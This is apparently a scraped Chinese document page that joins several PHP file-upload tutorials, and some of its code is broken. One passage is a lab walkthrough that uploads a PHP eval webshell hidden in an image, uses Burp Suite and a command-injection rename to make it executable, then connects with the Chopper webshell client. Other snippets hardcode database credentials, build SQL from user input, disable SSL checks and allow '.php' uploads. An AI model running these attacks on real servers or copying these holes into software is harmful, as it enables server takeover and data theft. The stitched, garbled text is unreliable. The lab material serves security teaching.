PHP实现文件上传
- 格式:ppt
- 大小:568.50 KB
- 文档页数:11
PHP使用curl模拟post上传及接收文件的方法在PHP中,我们可以使用curl库来模拟POST请求进行文件的上传和接收。
Curl是一个功能强大的跨平台开放源代码网络传输工具,它支持多种网络协议,其中就包括HTTP/HTTPS协议。
下面是一种使用curl模拟POST上传文件的方法:1. 建立一个curl会话。
```php$ch = curl_init(;```2. 设置curl选项,包括URL、请求方法、请求头和请求体等。
```php$postData = arraycurl_setopt($ch, CURLOPT_POST, true); // 使用POST请求curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); // 请求体数据curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回响应结果```3. 执行curl请求并获取响应结果。
```php$response = curl_exec($ch);```4. 关闭curl会话。
```phpcurl_close($ch);```注意事项:- 如果上传的文件需要使用其他请求参数一起提交,可以将额外的参数添加到$postData数组中。
- 在执行curl请求之前,可以通过curl_setopt设置其他一些选项,如请求超时时间、请求头信息等。
在服务端接收文件时,可以使用$_FILES全局变量来获取上传的文件信息。
例如,接收一个名为file的文件上传:```php$uploadedFile = $_FILES['file'];```可以通过$uploadedFile变量来访问文件的一些属性,如文件名、临时文件路径、文件大小等。
下面是一些常用的属性:- $uploadedFile['name']:获取上传文件的名称。
- $uploadedFile['tmp_name']:获取上传文件的临时文件路径,用于读取临时文件的内容。
【PHP】实现阿⾥云OSS⽂件上传(⽀持批量)上传⽂件⾄阿⾥云OSS,整体逻辑是,⽂件先临时上传到本地,然后在上传到OSS,最后删除本地的临时⽂件(也可以不删,具体看⾃⼰的业务需求),具体实现流程如下:1、下载阿⾥云OSS对象上传SDK(PHP版)2、解压后,可⾃⾏修改⽬录名称,以下为本⼈项⽬实例(aliyun_oss改过之后的名称)项⽬⽬录结构如下:3、Index.php 为⽂件上传静态表单页4、do_upload.php 为⽂件处理控制页,封装的代码如下:上传⽂件相关的辅助函数可以⾃⾏封装,本⽂是为了便于展⽰,全部放在⼀个⽂件中 1 <?php2/**3 * @Class: do_upload.php4 * @Description: 控制器5 * @Date: 2019/10/166*/7header("Content-Type:text/html;charset=utf-8");8set_time_limit(0);9// error_reporting(E_ALL);10require __DIR__.'/AliyunOss.php';11if(!empty($_FILES['oss_file']) && !empty($_POST['type'])){12$file_arr = getFiles();13$AliyunOss = new AliyunOss();14 foreach ($file_arr as$file){15$res = upload_File($file,$type_name.'/'.$user_info['contact'],$user_info);16if(isset($res['fname']) && isset($res['dest']) && isset($res['file_name'])){17$result = $AliyunOss->upload_file($res['dest'],$res['fname']);18if($result){19//1、存⼊数据库此处部分变量及⼊库代码补全知道逻辑即可20$insert_time = date('Y-m-d H:i:s',time());21$fileData = array(22 'phone' => "'{$phone}'",23 'company_name' => "'{$oss_db->escape($user_info['contact'])}'",24 'insert_time' => "'{$insert_time}'",25 'file_name' => "'{$res['file_name']}'",26 'file_url' => "'{$result['oss_file']}'"27 );28$sql = "insert into `oss_file` (".implode(',', array_keys($fileData)).") values (".implode(',', array_values($fileData)).")";29$oss_db->query($sql);30if($oss_db->insert_id()){31//2、删除临时⽂件32unlink($res['dest']);33 }34 }35 }36 }37echo '上传成功';38header('Location:list.php');39die;40 }else{41echo '上传失败';42 }4344/**45 * ⽂件上传46 * @description47 * @param $file48 * @param string $path49 * @param $max_size50 * @param $allowExt51 * @return mixed52*/53function upload_File($file,$oss_dir = '',$user_info,$path = __DIR__.'/temp'){54$filename=$file['name'];55$temp_name=$file['tmp_name'];56$error=$file['error'];57$res = [];58if ($error==UPLOAD_ERR_OK) {59// if ($size>$max_size) {60 // $res['mes']=$filename."⽂件超过规定上传⼤⼩";61 // }62$ext = getExt($filename);63if (in_array($ext, array('exe'))) {64$res['mes']=$filename.'⾮法的⽂件';65 }66if (!is_uploaded_file($temp_name)) {67$res['mes']=$filename."⽂件不是通过HTTP POST ⽅法上传上传过来的";68 }6970if ($res) {71return$res;72 }7374if (!file_exists($path)) {75mkdir($path,0777,true);76chmod($path, 0777);77 }78$fname = getUniName($filename,$user_info);79$destination = $path.'/'.$fname.'.'.$ext;80if (move_uploaded_file($temp_name, $destination)) {81$res['mes'] = $filename.'上传成功';82$res['dest'] = $destination;83$res['fname'] = $oss_dir.'/'.$fname.'.'.$ext;84$res['file_name'] = $fname.'.'.$ext;85 }else{86$res['mes']=$filename."⽂件上传失败";87 }88 }else{89switch ($error) {90case '1':91$res['mes']="超过了配置⽂件上传⽂件的⼤⼩";92break;93case '2':94$res['mes']="超过表单设置上传⽂件⽂件的⼤⼩";95break;96case '3':97$res['mes']="⽂件部分被上传";98break;99case '4':100$res['mes']="没有⽂件被上传";101102break;103case '6':104$res['mes']="没有找到临时⽬录";105break;106case '7':107$res['mes']="⽂件不可写";108109break;110default:111$res['mes']="上传⽂件失败";112break;113 }114 }115116return$res;117118 }119/**120 * 获得⽂件扩展名121 * @param string $filename 上传⽂件名122 * @return string 返回扩展名123*/124function getExt($filename){125$arr=explode('.', basename($filename));126127return end($arr);128 }129/**130 * 获得⽂件唯⼀扩展名131 * @return string 经过md5后⽣成32位唯⼀的上传⽂件名132*/133function getUniName($fileName, $user_info)134 {135$new_fileName = substr($fileName,0,strrpos($fileName,'.'));136$oss_db = new data_base('10.1.51.64', 'root', 'abc@123456', 'dahua_oss');137$has_file = $oss_db->getRow("select * from `oss_file` where `phone` = '{$user_info['phone']}' and locate('{$fileName}',`file_url`)>0 ");138if ($has_file) {139$new_fileName .= '-1';140 }141return$new_fileName;142 }143144/**145 * 整理多个⽂件146 * @description147 * @return mixed148*/149function getFiles(){150$files = array();151foreach($_FILES as$file){152$fileNum=count($file['name']);153for ($i=0; $i < $fileNum; $i++) {154$files[$i]['name']=$file['name'][$i];155$files[$i]['type']=$file['type'][$i];156$files[$i]['tmp_name']=$file['tmp_name'][$i];157$files[$i]['error']=$file['error'][$i];158$files[$i]['size']=$file['size'][$i];159 }160 }161return$files;162 }163164 ?>5、AliyunOss.php OSS⽂件上传接⼝类1 <?php2/**3 * @Class: AliyunOss.php4 * @Description: 控制器5 * @Date: 2019/10/166*/7header("Content-Type:text/html;charset=utf-8");8// error_reporting(E_ALL);910if (is_file(__DIR__ . '/aliyun_oss/autoload.php')) {11require_once __DIR__ . '/aliyun_oss/autoload.php';12 }1314use OSS\OssClient;15use OSS\Core\OssException;1617// 阿⾥云主账号AccessKey拥有所有API的访问权限,风险很⾼。
PHP使⽤curl模拟post上传及接收⽂件的⽅法本⽂实例讲述了PHP使⽤curl模拟post上传及接收⽂件的⽅法。
分享给⼤家供⼤家参考,具体如下:public function Action_Upload(){$this->path_config();exit();$furl="@d:\develop\JMFrameworkWithDemo.rar";$url= "http://localhost/DemoIndex/curl_pos/";$this->upload_file_to_cdn($furl, $url);}public function upload_file_to_cdn($furl,$url){// 初始化$ch = curl_init();// 要上传的本地⽂件地址"@F:/xampp/php/php.ini"上传时候,上传路径前⾯要有@符号$post_data = array ("upload" => $furl);//print_r($post_data);//CURLOPT_URL 是指提交到哪⾥?相当于表单⾥的“action”指定的路径//$url = "http://localhost/DemoIndex/curl_pos/";// 设置变量curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);//执⾏结果是否被返回,0是返回,1是不返回curl_setopt($ch, CURLOPT_HEADER, 0);//参数设置,是否显⽰头部信息,1为显⽰,0为不显⽰//伪造⽹页来源地址,伪造来⾃百度的表单提交curl_setopt($ch, CURLOPT_REFERER, "");//表单数据,是正规的表单设置值为⾮0curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 100);//设置curl执⾏超时时间最⼤是多少//使⽤数组提供post数据时,CURL组件⼤概是为了兼容@filename这种上传⽂件的写法,//默认把content_type设为了multipart/form-data。
实用的PHP实例代码20个2篇PHP是一种广泛应用于Web开发的脚本语言,具有简单、灵活、易学的特点。
它不仅可以用来开发网站,还可以用来编写各种实用的应用程序。
在本文中,我们将为您介绍20个实用的PHP实例代码和使用场景。
第一篇:1-10个实例1. 文件上传文件上传是Web开发中常用的功能之一。
使用PHP,您可以很容易地实现文件上传功能,从而让用户能够向您的网站或应用程序上传文件。
2. 邮件发送PHP提供了发送电子邮件的功能,您可以使用PHP编写代码来发送电子邮件,例如发送注册确认邮件、找回密码邮件等。
3. 图片缩放PHP提供了强大的图像处理功能,您可以使用PHP来缩放图片,为您的网站或应用程序提供更好的用户体验。
4. 数据库连接在许多Web应用程序中,需要与数据库进行交互。
PHP提供了各种数据库连接操作,您可以使用PHP来连接各种类型的数据库,如MySQL、Oracle等。
5. 表单验证表单验证是保证用户输入数据有效和安全的重要环节。
PHP提供了丰富的表单验证函数,您可以使用PHP来验证用户提交的表单数据,例如检查邮箱格式、密码强度等。
6. 分页功能在处理大量数据时,分页功能非常有用。
使用PHP,您可以轻松地实现分页功能,让用户能够浏览和导航数据的不同页面。
7. 登录认证登录认证是保护网站或应用程序安全的重要步骤。
使用PHP,您可以编写代码来实现用户登录认证功能,例如检查用户名和密码是否匹配等。
8. 数据加密在处理敏感信息时,数据加密是非常重要的。
PHP提供了各种数据加密函数,您可以使用PHP来对敏感数据进行加密和解密。
9. 生成验证码验证码是防止机器人和恶意攻击的有效手段。
使用PHP,您可以生成随机验证码,并将其嵌入到表单中,确保只有人类用户能够提交表单。
10. 数据备份定期数据备份是保证数据安全的重要环节。
使用PHP,您可以编写脚本来自动备份数据库,确保数据的安全可靠。
第二篇:11-20个实例11. 数据导出有时候,需要将数据库中的数据导出为Excel、CSV等格式,以方便进行数据分析或其他用途。
Thinkphp框架+Layui实现图⽚⽂件上传功能分析本⽂实例讲述了Thinkphp框架+Layui实现图⽚/⽂件上传功能。
分享给⼤家供⼤家参考,具体如下:在项⽬中⽤到了,再⽹上找了现成的代码都是借⼝异常或者⾮法上传,所以在⼀番摸索搞定之后拿来和⼤家分享。
html:<form class="layui-form layui-form-pane" action="" style="margin-top:20px;" enctype="multipart/form-data"><center><div class="layui-upload-drag" id="uploadBanner"><img class="layui-upload-img" id="upload-photo"><i class="layui-icon" id="upload-icon"> </i><p>点击上传,或将⽂件拖拽到此处</p><p>建议尺⼨1920*512</p></div><input type="hidden" id="res" name="banner_photo" value="" lay-verify="required" /><div class="layui-form-item" style="margin-top:10px;"><button class="layui-btn" lay-submit="" lay-filter="sub">提交</button></div><div id="demoText"></div></center></form>JS:e('upload', function(){var $ = layui.jquery,upload = layui.upload;//普通图⽚上传var uploadInst = upload.render({elem: '#uploadBanner',url: "{:U('Api/doUploadPic')}",before: function(obj){//预读本地⽂件⽰例,不⽀持ie8obj.preview(function(index, file, result){$('#upload-photo').attr('src', result); //图⽚链接(base64)$('#upload-photo').attr('style', 'height:10rem;');$('#upload-icon').attr('style','display:none;');});},done: function(res, index, upload){//如果上传失败if(res.code > 0){return layer.msg('上传失败');}//上传成功console.log("成功啦!" + obj2string(res) + " " + index + " " + upload);},error: function(){//演⽰失败状态,并实现重传var demoText = $('#demoText');demoText.html('<span style="color: #FF5722;">上传失败</span> <a class="layui-btn layui-btn-xs demo-reload">重试</a>');demoText.find('.demo-reload').on('click', function(){uploadInst.upload();});}});});PHP接⼝:public function doUploadPic()//上传模块{$upload = new \Think\Upload();$upload->maxSize = 3145728;$upload->exts = array('jpg', 'gif', 'png', 'jpeg');$upload->rootPath = './Public/'; // 设置附件上传根⽬录$upload->savePath = 'upload/'; // 设置附件上传⼦⽬录$info = $upload->upload();if(!$info){$this->error($upload->getError());}else{foreach($info as $file){$data = '/Public'.$file['savepath'] . $file['savename'];$file_a=$data;echo '{"code":0,"msg":"成功上传","data":{"src":"'.$file_a.'"}}';}}}图⽚就上传到/Public/upload⽂件夹下了:更多关于thinkPHP相关内容感兴趣的读者可查看本站专题:《》、《》、《》、《》、《》、《》及《》。
PHP使⽤curl请求实现post⽅式上传图⽚⽂件功能⽰例本⽂实例讲述了PHP使⽤curl请求实现post⽅式上传图⽚⽂件功能。
分享给⼤家供⼤家参考,具体如下:在调⽤第三⽅api接⼝时,有时会遇到通过http协议上传图⽚,以下是⼀个微信公众平台新增永久素材的例⼦;php代码:/* 使⽤curl函数 */$url = "https:///cgi-bin/material/add_material?access_token=ACCESS_TOKEN&type=image";$post_data = array('media' => '@bag03.jpg',);$response = curl_http($url, 'POST', $post_data);$params = array();$params = json_decode($response,true);if (isset($params['errcode'])){echo "error:" . $params['errcode'];echo "msg :" . $params['errmsg'];exit;}var_dump( $params );/*** http请求⽅式: 默认GET*/function curl_http($url, $method="GET", $postfields){$ch = curl_init();curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_URL, $url);switch ($method) {case "POST":curl_setopt($ch, CURLOPT_POST, true);if (!empty($postfields)) {$hadFile = false;if (is_array($postfields) && isset($postfields['media'])) {/* ⽀持⽂件上传 */if (class_exists('\CURLFile')) {curl_setopt($ch, CURLOPT_SAFE_UPLOAD, true);foreach ($postfields as $key => $value) {if (isPostHasFile($value)) {$postfields[$key] = new \CURLFile(realpath(ltrim($value, '@')));$hadFile = true;}}} elseif (defined('CURLOPT_SAFE_UPLOAD')) {if (isPostHasFile($value)) {curl_setopt($ch, CURLOPT_SAFE_UPLOAD, false);$hadFile = true;}}}$tmpdatastr = (!$hadFile && is_array($postfields)) ? http_build_query($postfields) : $postfields;curl_setopt($ch, CURLOPT_POSTFIELDS, $tmpdatastr);}break;default:curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); /* //设置请求⽅式 */break;}$ssl = preg_match('/^https:\/\//i',$url) ? TRUE : FALSE;curl_setopt($ch, CURLOPT_URL, $url);if($ssl){curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求不验证证书和hostscurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // 不从证书中检查SSL加密算法是否存在}$response = curl_exec($ch);curl_close($ch);if(empty($response)){exit("错误请求");}return $response;}function isPostHasFile($value){if (is_string($value) && strpos($value, '@') === 0 && is_file(realpath(ltrim($value, '@')))) {return true;}return false;}也可以使⽤php内置的系统函数,如果使⽤过程中出现问题,建议查看是否启⽤相应的系统函数。
functionuploadfile($type,$name,$ext,$size,$error,$tmp_name,$targetname,$upload_ dir){$MAX_SIZE = 2000000;$FILE_MIMES =array('image/pjpeg','image/jpeg','image/jpg','image/gif','image/png','image/x -png');$FILE_EXTS = array('.jpg','.gif','.png','.JPG','.GIF','.PNG');$file_path = $upload_dir.$targetname;if(!is_dir($upload_dir)){if(!mkdir($upload_dir))die("文件上传目录不存在并且无法创建文件上传目录");if(!chmod($upload_dir,0755))die("文件上传目录的权限无法设定为可读可写");}if($size>$MAX_SIZE)die("上传的文件大小超过了规定大小");if($size == 0)die("请选择上传的文件");if(!in_array($type,$FILE_MIMES) || !in_array($ext,$FILE_EXTS))die("请上传符合要求的文件类型");if(!move_uploaded_file($tmp_name, $file_p ath))die("复制文件失败,请重新上传");switch($error){case 0:echo "图片上传成功...<br/>";echo "3秒钟后自动跳转...如果没有跳转,<a href='uploadFile.php'>请点击这里</a>";return ;case 1:die("上传的文件超过了php.ini 中upload_max_files ize选项限制的值");case 2:die("上传文件的大小超过了HTML 表单中MAX_FILE_SIZE 选项指定的值");case 3:die("文件只有部分被上传");case 4:die("没有文件被上传");}}似乎PHP没有自带获取文件后缀名的函数,翻书也没找到,网上搜索也没有,就自己写了个函数,很轻松就可以获取了。
用php实现文件上传二法--------------------------------------------------------------------------------PHP(Hypertext Preprocessor)是一种HTML 内嵌式的语言(类似IIS 上的ASP)。
而PHP 独特的语法混合了C、Java、Perl 以及PHP 式的新语法。
它可以比CGI 或者Perl 更快速的执行动态网页。
除此之外,用PHP 写出来的Web 后端CGI 程序,可以很轻易的移植到不同的系统平台上。
我们在做网站时,需要访问者的参于才能将网站建设得更加引人注目,这就要求我们从访问者那里得到文章、图片等。
因此,文件上传成为网页中必不可少的功能。
现在我就利用现在流行的编程语言PHP,用两种方法来说明其功能的实现。
一、利用php的文件函数来实现上传这段代码分为两个文件,一个为upload.html,一个是upload.php。
上传文件选择:upload.html 代码如下:--------------------------------------------------------------------------------<html> <head> <title> 上载文件表单</title> </head><body><form enctype=\ "multipart/form-data\ " action=\ "upload.php\ " method=\ "post\ "><input type=\ "hidden\ " name=\ "max_file_size\ " value=\ "100000\ "><center> 请选择文件:<input name=\ "userfile\ " type=\ "file\ "><input type=\ "submit\ " value=\ "上传文件\ "></center></form></body></html>--------------------------------------------------------------------------------*** 说明***1、请注意<form enctype=\ "multipart/form-data\ "......> 这是一个标签,我们要实现文件的上传,必须指定为multipart/form-data ,否则服务器将不知道你在干什么!2、值得注意的是文件upload.html中表单选项MAX_FILE_SIZE 的隐藏值域,通过设置其Value(值)可以限制上载文件的大小。
⼀个完整的php上传功能完整代码(upload代码)创建⼀个⽂件上传表单允许⽤户从表单上传⽂件是⾮常有⽤的。
创建上传脚本"upload_file.php" ⽂件含有供上传⽂件的代码:<?phpif ($_FILES["file"]["error"] > 0){echo "错误:" . $_FILES["file"]["error"] . "<br>";}else{echo "上传⽂件名: " . $_FILES["file"]["name"] . "<br>";echo "⽂件类型: " . $_FILES["file"]["type"] . "<br>";echo "⽂件⼤⼩: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";echo "⽂件临时存储的位置: " . $_FILES["file"]["tmp_name"];}?>通过使⽤ PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传⽂件。
第⼀个参数是表单的 input name,第⼆个下标可以是 "name"、"type"、"size"、"tmp_name" 或 "error"。
文件上传讲解文件上传是指将本地的文件上传至服务器的过程。
在Web开发中,常常需要实现文件上传功能,如用户头像、音频文件等的上传。
在前端开发中,使用POST方法来实现文件上传是最常见的方式之一实现文件上传功能常常涉及到两个关键环节:前端页面的设计和后端服务器的处理。
下面将详细讲解文件上传的实现过程。
一、前端页面的设计1.HTML表单在HTML中,可以使用<input type="file">元素来创建文件上传表单。
该元素可以让用户选择本地文件,并将其路径保存在表单的value属性中。
```html<form action="upload.php" method="post"enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="上传文件"></form>```需要注意的是,表单中的enctype属性必须设置为"multipart/form-data",以正确处理文件上传。
2. JavaScript代码为了提升用户体验,可以使用JavaScript进行文件路径的显示和预览。
```javascriptvar fileInput = document.querySelector('input[type="file"]');var fileNameDisplay = document.querySelector('#file-name-display');fileInput.addEventListener('change', function(event)fileNameDisplay.textContent =event.target.value.split('\\').pop(;});```以上代码通过监听文件选择框的change事件,获取用户选择的文件路径,然后通过字符串操作,截取文件名并显示在页面中。
Low
1.既然是文件上传,我们尝试使用php一句话木马,作为上传文件。
<?php @eval($_POST['c']);?>
2.发现上传成功了
3.查看一下源码,发现并没有过滤文件
Medium
High
1.与low一样,使用尝试使用php一句话木马,作为上传文件。
<?php @eval($_POST['c']);?>
2.发现上传失败了,没关系,我们先看一下源代码
3.它定义了只能上传图片,且图片的格式为jpg、jpeg、png,我们尝试修改后缀名,发现
报错
4.尝试使用Burp Suite,先设置代理
5.还有浏览器的代理
6.我们先尝试上传一张正常的图片,完美捕捉
7.尝试将php一句话代码<?php@eval($_POST['c']);?>隐藏于图片当中
8.点击forward,上传成功
9.打开菜刀
10.使用命令执行,构造ping127.0.0.1|rename..\..\hackable\uploads\2.jpg 2.php,重命名文件,在Burp Suite中,记得forward掉
11.使用菜刀连接,这样我们就能拿到服务器了,使用菜刀连接时,在Burp Suite中,记得
forward掉。
PHP实现的多⽂件上传类及⽤法⽰例这篇⽂章主要介绍了PHP实现的多⽂件上传类及⽤法,详细分析了php实现的多⽂件上传类与具体的使⽤技巧,需要的朋友可以参考下1、upFiles.css.php ⽂件<?phpclass UploadFiles{private $maxsize = '1000000'; //允许上传⽂件最⼤长度private $allowtype = array('jpg','png','gif','jpeg');//允许上传⽂件类型private $israndfile = true;//是否随机⽂件名private $filepath;//上传路径private $originName;//上传的源⽂件private $tmpfileName;//临时⽂件名private $newfileName;//新⽂件名private $fileSize;//⽂件⼤⼩private $fileType;//⽂件类型private $errorNum = 0;//错误号private $errorMessg = array();//错误消息//对成员初始化function __construct($options = array()){foreach($options as $key=>$val){$key = strtolower($key);//查看传进来的数组⾥下标是否与成员属性相同//print_r(array_keys(get_class_vars(get_class($this))));if(!in_array($key,array_keys(get_class_vars(get_class($this))))){continue;}else{$this->setOption($key,$val);}}}private function setOption($key,$val){$this->$key = $val;//echo $this->errorNum."<br>";}//检查⽂件上传路径private function checkfilePath(){//echo $this->filepath;if(empty($this->filepath)){$this->setOption('errorNum',"-5");return false;}if(!file_exists($this->filepath) || !is_writable($this->filepath)){if(!@mkdir($this->filepath,0755)){$this->setOption('errorNum','-4');return false;}}return true;}//获取错误信息private function getError(){$str = "上传⽂件{$this->originName}出错---";switch($this->errorNum){case 4; $str .= "没有⽂件被上传";break;case 3; $str .= "⽂件只被部分上传";break;case 2; $str .= "超过⽂件表单允许⼤⼩";break;case 1; $str .= "超过php.ini中允许⼤⼩";break;case -1; $str .= "未允许的类型";break;case -2; $str .= "⽂件过⼤,不能超过".$this->maxsize."个字节";break;case -3; $str .= "上传失败";break;case -4; $str .= "建⽴⽂件上传⽬录失败";break;case -5; $str .= "必须指定上传路径";break;default; $str .= "未知错误";}return $str."<br>";}//检查⽂件类型private function checkfileType(){//echo $this->fileType;if(!in_array(strtolower($this->fileType),$this->allowtype)){$this->setOption('errorNum','-1');return false;}else{return true;}}//检查⽂件⼤⼩private function checkfileSize(){if($this->fileSize > $this->maxsize){$this->setOption('errorNum','-2');return false;}else{return true;}}//处理随机⽂件名称private function prorandFile(){$ch = $this->israndfile;if($ch == 'true'){return true;}else{return false;}}//private function setFiles($name="",$tmp_name="",$size="",$error=""){ //检查上传路径if(!$this->checkfilePath()){//$this->errorMessg = $this->getError();return false;}//echo $error."<br>";if($error){$this->setOption('errorNum',$error);return false;}$arrstr = explode('.',$name);$type = end($arrstr);$this->setOption('originName',$name);$this->setOption('fileSize',$size);$this->setOption('fileType',$type);$this->setOption('tmpfileName',$tmp_name);return true;}//检查是否有⽂件上传function checkFile($formname){if(!@$_FILES[$formname]){$this->setOption('errorNum',4);return false;}else{return true;}}//上传⽂件function uploadeFile($formname){if(!$this->checkFile($formname)){$this->errorMessg = $this->getError();return false;}$return = true;$name = @$_FILES[$formname]['name'];$tmp_name = @$_FILES[$formname]['tmp_name'];$size = @$_FILES[$formname]['size'];$error = @$_FILES[$formname]['error'];//$type = $_FILES[$formname]['type'];if(is_array($name)){$errors = array();for($i=0; $i<count($name); $i++){if($this->setFiles($name[$i],$tmp_name[$i],$size[$i],$error[$i])){if(!$this->checkfileSize() || !$this->checkfileType()){$errors[] = $this->getError();$return = false;}}else{$errors[] = $this->getError();$return = false;}if(!$return) $this->setFiles();}if($return){$newfileN = array();for($i=0; $i<count($name); $i++){if($this->setFiles($name[$i],$tmp_name[$i],$size[$i],$error[$i])){if(!$this->copyFile()){$errors[] = $this->getError();$return = false;}else{$newfileN[] = $this->newfileName;}}$this->newfileName = $newfileN;}}//print_r($errors);$this->errorMessg = $errors;//echo $errors;return $return;}else{if($this->setFiles($name,$tmp_name,$size,$error)){$return = true;if($error) var_dump($error);if($this->checkfileSize() && $this->checkfileType()){}else{$return = false;}}else{$return = false;}if(!$return){$this->errorMessg = $this->getError();}return $return;}}//获取上传后的⽂件名function getnewFile(){return $this->newfileName;}//把⽂件拷贝到指定的路径function copyFile(){$filepath = rtrim($this->filepath,'/')."/";if(!$this->errorNum){if($this->prorandFile()){$this->newfileName = date('Ymdhis').rand(1000,9999).".".$this->fileType;}else{$this->newfileName = $this->originName;}if(!move_uploaded_file($this->tmpfileName,$filepath.$this->newfileName)){$this->setOption('errorNum',-3);return false;}else{return true;}}else{return false;}}//上传错误后返回的消息function gteerror(){$err = $this->errorMessg;return $err;}}>2、使⽤⽅法uploade.php ⽂件:<?php//print_r($_FILES['spic']);header('Content-Type:text/html;charset=utf-8');//if(@$_FILES['spic'])echo "ddddddddd";;include('upFiles.css.php');$upfile = new UploadFiles(array('filepath'=>'./upload','allowtype'=>array('php','bmp','gif','jpg','png'),'israndfile'=>true,'maxsize'=>'1000000')); if($upfile ->uploadeFile('spic')){$arrfile = $upfile ->getnewFile();foreach($arrfile as $v){echo $v,"<br/>";}echo "上传成功!";}else{$err = $upfile ->gteerror();if(is_array($err)){foreach($err as $v1){echo $v1,"<br/>";}}else{echo $err;}//var_dump($err);}//var_dump($upfile);>HTML ⽂件:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>⽆标题⽂档</title><script type="text/javascript">function Check(){//alert('dddd');for(i=1; i<9; i++){if(document.getElementById('v'+i).value == ''){document.getElementById('v'+i).name = 'uu';}}}</script></head><body><form name="upfile" action="uploade.php" method="post" enctype="multipart/form-data"> <input type="file" name="spic[]" id="v1" /><br/><input type="file" name="spic[]" id="v2" /><br/><input type="file" name="spic[]" id="v3" /><br/><input type="file" name="spic[]" id="v4" /><br/><input type="file" name="spic[]" id="v5" /><br/><input type="file" name="spic[]" id="v6" /><br/><input type="file" name="spic[]" id="v7" /><br/><input type="file" name="spic[]" id="v8" /><br/><input type="submit" name="sub" value="提交" onclick="return Check()" /><input type="reset" name="res" value="重填" /></form></body></html>。
文章标题:深度解析PHP中curlFile的用法在现今信息爆炸的时代,网络已经成为人们获取信息、交流思想的主要途径。
而在Web开发中,我们经常需要与其他服务器进行数据交互,这时候就需要使用到PHP中的curl库。
在curl库中,curlFile作为一个重要的组件,其用法和功能十分重要。
本文将深度解析PHP中curlFile的用法,为读者全面解读其特性和应用。
一、什么是curlFile?在PHP中,curlFile是用来发送文件的一个类,通过它可以实现文件的上传和下载。
通常,我们会使用curlFile类来替代传统的file_get_contents()函数,以实现更多高级的文件操作。
二、curlFile的用法1. 上传文件在PHP中,通过curl库可以轻松实现文件的上传。
使用curlFile类,可以将本地文件上传到指定的服务器。
使用curl_init()初始化一个curl 会话后,通过设置CURLOPT_POSTFIELDS选项,将需要上传的文件作为参数传递给服务器。
例如:```$ch = curl_init();$data = array('file' => new curlFile('example.jpg'));curl_setopt($ch, CURLOPT_URL, 'curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $data);curl_exec($ch);curl_close($ch);```通过上述代码,可以将本地的example.jpg文件上传至服务器。
2. 下载文件除了文件上传,curlFile还可以实现文件的下载。
通过设置CURLOPT_FILE选项,可以将远程服务器上的文件下载到本地。
例如:```$ch = curl_init('$fp = fopen('file.zip', 'w');curl_setopt($ch, CURLOPT_FILE, $fp);curl_exec($ch);curl_close($ch);fclose($fp);```通过上述代码,可以将远程服务器上的file.zip文件下载到本地。
PHP如何将图⽚⽂件上传到另外⼀台服务器上 说,我有⼀个需求,就是⼀个临时功能。
由于⼯作开发问题,我们有⼀个B项⽬,需要有⼀个商品添加的功能,涉及到添加商品内容,⽐如商品名字,商品描述,商品库存,商品图⽚等。
后台商品添加的接⼝已经写完了,但是问题是⽬前没有后台页⾯,就是产品还没有出后台详细页⾯。
前端已经完备了,上线了。
后台还需要⼯作时间处理。
所以⽬前的处理⽅法是在我们已经存在的A项⽬后台中,添加⼀个对B项⽬添加商品的功能。
⼀、当下问题 1、在我们已有的A项⽬中,新增⼀个添加商品的功能,这个本来是没有什么问题的,因为⽬前A项⽬中本⾝就已经连接了B项⽬的数据库,所以商品属性的新增和修改都没什么问题。
主要是商品图⽚的上传这⾥,有点问题。
B项⽬已经对外提供了上传图⽚的接⼝,但是由于我确实对前端不是特别熟悉。
所以在A项⽬中的后台JS中调取B项⽬的上传图⽚的接⼝时,⼀直提⽰"CORS",这⾥应该是存在⼀个跨域的问题,虽然我PHP接⼝端已经对跨域做了处理(⼊⼝⽂件处),但是貌似JS这边也需要相应的调整。
// [ 应⽤⼊⼝⽂件 ]//⼊⼝⽂件index.phpnamespace think;// 加载基础⽂件require __DIR__ . '/thinkphp/base.php';// ⽀持事先使⽤静态⽅法设置Request对象和Config对象header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Headers: Content-Type,XFILENAME,XFILECATEGORY,XFILESIZE,authorization");// 执⾏应⽤并响应Container::get('app')->bind('api')->run()->send(); 2、⽆奈⼩⽩JS功底不够扎实,所以我这边准备通过A项⽬中调取后台PHP接⼝,然后通过在PHP代码中接受web端参数,然后再转发,调取B项⽬中上传图⽚的接⼝,试图完成功能。